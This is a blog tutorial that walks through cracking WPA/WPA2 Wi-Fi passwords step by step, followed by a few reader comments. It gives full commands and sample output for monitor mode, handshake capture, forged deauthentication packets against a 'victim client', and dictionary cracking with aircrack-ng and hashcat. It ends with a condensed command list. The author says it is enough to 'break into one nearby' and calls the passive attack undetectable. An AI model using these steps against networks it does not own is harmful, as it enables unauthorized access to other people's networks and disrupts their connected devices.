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Wifi Cracking – WPA/WPA2 – Airodump-ng, Aircrack-ng and Hashcat

24/07/2017

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.

 

This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network’s security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don’t actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.

If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom.

DISCLAIMER: This software/tutorial is for educational purposes only. 

Getting Started

This tutorial assumes that you:

  • Have a general comfortability using the command-line
  • Are running a debian-based linux distro (preferably Kali linux)
  • Have Aircrack-ng installed
    • sudo apt-get install aircrack-ng
  • Have a wireless card that supports monitor mode (I recommend this one)

Cracking a Wi-Fi Network

Monitor Mode

Begin by listing wireless interfaces that support monitor mode with:

airmon-ng

If you do not see an interface listed than your wireless card does not support monitor mode 😞.

We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:

airmon-ng start wlan0

Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon).

Find Your Target

Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:

airodump-ng mon0

You should see output similar to what is below.

CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49                                         
                                                                                                                                              
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 14:91:82:F7:52:EB  -66      205       26    0   1  54e  OPN              belkin.2e8.guests                                                   
 14:91:82:F7:52:E8  -64      212       56    0   1  54e  WPA2 CCMP   PSK  belkin.2e8                                                          
 14:22:DB:1A:DB:64  -81       44        7    0   1  54   WPA2 CCMP        <length:  0>                                                        
 14:22:DB:1A:DB:66  -83       48        0    0   1  54e. WPA2 CCMP   PSK  steveserro                                                          
 9C:5C:8E:C9:AB:C0  -81       19        0    0   3  54e  WPA2 CCMP   PSK  hackme                                                                 
 00:23:69:AD:AF:94  -82      350        4    0   1  54e  WPA2 CCMP   PSK  Kaitlin's Awesome                                                   
 06:26:BB:75:ED:69  -84      232        0    0   1  54e. WPA2 CCMP   PSK  HH2                                                                 
 78:71:9C:99:67:D0  -82      339        0    0   1  54e. WPA2 CCMP   PSK  ARRIS-67D2                                                          
 9C:34:26:9F:2E:E8  -85       40        0    0   1  54e. WPA2 CCMP   PSK  Comcast_2EEA-EXT                                                    
 BC:EE:7B:8F:48:28  -85      119       10    0   1  54e  WPA2 CCMP   PSK  root                                                                
 EC:1A:59:36:AD:CA  -86      210       28    0   1  54e  WPA2 CCMP   PSK  belkin.dca

For the purposes of this demo, we will choose to crack the password of my network, “hackme”. Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step.

Capture a 4-way Handshake

WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don’t have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.

# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
 CH  6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]                                        
                                                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 9C:5C:8E:C9:AB:C0  -47   0      140        0    0   6  54e  WPA2 CCMP   PSK  ASUS  

Now we wait… Once you’ve captured a handshake, you should see something like [ WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time.

If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to re-connect (thus giving you a handshake), be sending malicious deauthentication packets at them. See the deauth attack section below for info on this.

Once you’ve captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password, and I like to rename this file to reflect the network name we are trying to crack:

mv ./-01.cap hackme.cap

Crack the Network Password

The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using hashcat for password cracking. I’ve created a simple tool that makes hashcat super easy to use called naive-hashcat.

Cracking With naive-hashcat (recommended)

Before we can crack the password using naive-hashcat, we need to convert our .cap file to the equivalent hashcat file format .hccapx. You can do this easily by either uploading the .cap file to https://hashcat.net/cap2hccapx/ or using the cap2hccapx tool directly from .

cap2hccapx.bin hackme.cap hackme.hccapx

Next, download and run naive-hashcat:

# download
git clone https://github.com/brannondorsey/naive-hashcat

cd naive-hashcat

# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh

Naive-hashcat uses various dictionary, rule, combination, and mask attacks and it can take days or even months to run against strong passwords. The cracked password will be saved to hackme.pot, so check this file periodically.

If you would like to use hashcat without naive-hashcat see this page for info.

Cracking With Aircrack-ng

Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file:

# download the 134MB rockyou dictionary file
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Note, that if the network password is not in the wordfile you will not crack the password.

# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap

If the password is cracked you will see a KEY FOUND! message in the terminal followed by the plain text version of the network password.

                                 Aircrack-ng 1.2 beta3


                   [00:01:49] 111040 keys tested (1017.96 k/s)


                         KEY FOUND! [ hacktheplanet ]


      Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 
                       59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E 

      Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 
                       2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 
                       6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 
                       8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 

      EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 

Deauth Attack

A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake “sender” addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng.

Use airodump-ng to monitor a specific access point (using -c channel --bssid MAC) wait until you see a client (STATION) connected. Should look something like this, where is 64:BC:0C:48:97:F7 the client MAC.

 CH  6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]                                         
                                                                                                                                           
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  -19  75     1043      144   10   6  54e  WPA2 CCMP   PSK  ASUS                                                         
                                                                                                                                           
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                 
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  64:BC:0C:48:97:F7  -37    1e- 1e     4     6479  ASUS

Now, leaving airodump-ng running open a new terminal. We will use the aireplay-ng command to send fake death packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process.

# -0 10 specifies we would like to send 10 deauth packets
# -a is the MAC of the access point
# -c is the MAC of the client
aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

Once you’ve sent the deauth packets, head back over to your airodump-ng process, and with any luck you should now see something like this at the top right: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Now that you’ve captured a handshake you should be ready to crack the network password.

List of Commands

Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.

# put your network device into monitor mode
airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0

# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0

# optionally deauth a connected client to force a handshake
aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

########## crack password with aircrack-ng... ##########

# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap

########## or crack password with naive-hashcat ##########

# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx

# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh

 

Reference:

https://github.com/brannondorsey/wifi-cracking

 

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3 Comments
  1. Funny how nothing has changed in the last 10 years about WiFi cracking

    Like

    • Luckily most users have moved on from WEP, but the 2.4 Ghz freq is as strong as ever, due to the long range it supplies.

      Like

  2. Also, if I’m not wrong, since Kali 2.0 ‘airmon-ng start wlan0’ doesn’t work any more and we need a much complex setup to set your WiFi card in monitor mode.

    Like

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